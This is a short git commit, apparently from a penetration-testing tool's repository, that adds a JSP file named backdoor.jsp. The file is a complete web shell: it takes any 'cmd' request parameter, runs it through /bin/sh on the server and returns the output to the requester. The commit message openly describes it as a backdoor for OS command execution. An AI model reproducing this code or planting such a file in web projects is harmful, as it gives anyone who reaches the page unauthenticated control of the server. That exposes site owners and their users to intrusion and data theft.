Added a JSP backdoor (GET /.../backdoor.jsp?cmd=<os command>) for long term new features for OS commanding

bdamele · bdamele · commit 67e1be07a4c0 · 2008-11-02T19:32:04.000Z
diff --git a/shell/backdoor.jsp b/shell/backdoor.jsp
@@ -0,0 +1,47 @@
+<%@ page import="java.io.*" %>
+<%
+      
+Process p;
+String s, cmd, html;
+
+cmd = request.getParameter("cmd");
+if (cmd == null) {
+    cmd = "pwd";
+}
+
+String []bashcmd = {"/bin/sh","-c",cmd}; 
+
+html = request.getParameter("html");
+
+if (html != null) {
+    out.println("<HTML>");
+}
+
+p = Runtime.getRuntime().exec(bashcmd);
+
+BufferedReader stdInput = new BufferedReader(new 
+					     InputStreamReader(p.getInputStream()));
+
+BufferedReader stdError = new BufferedReader(new 
+					     InputStreamReader(p.getErrorStream()));
+
+
+
+while ((s = stdInput.readLine()) != null) {
+    out.println(s); 
+    if (html != null) {
+	out.println("<br>");
+    }
+}
+
+
+while ((s = stdError.readLine()) != null) {
+    System.out.println(s);
+    if (html != null) {
+	out.println("<br>");
+    }
+
+}
+
+
+%>
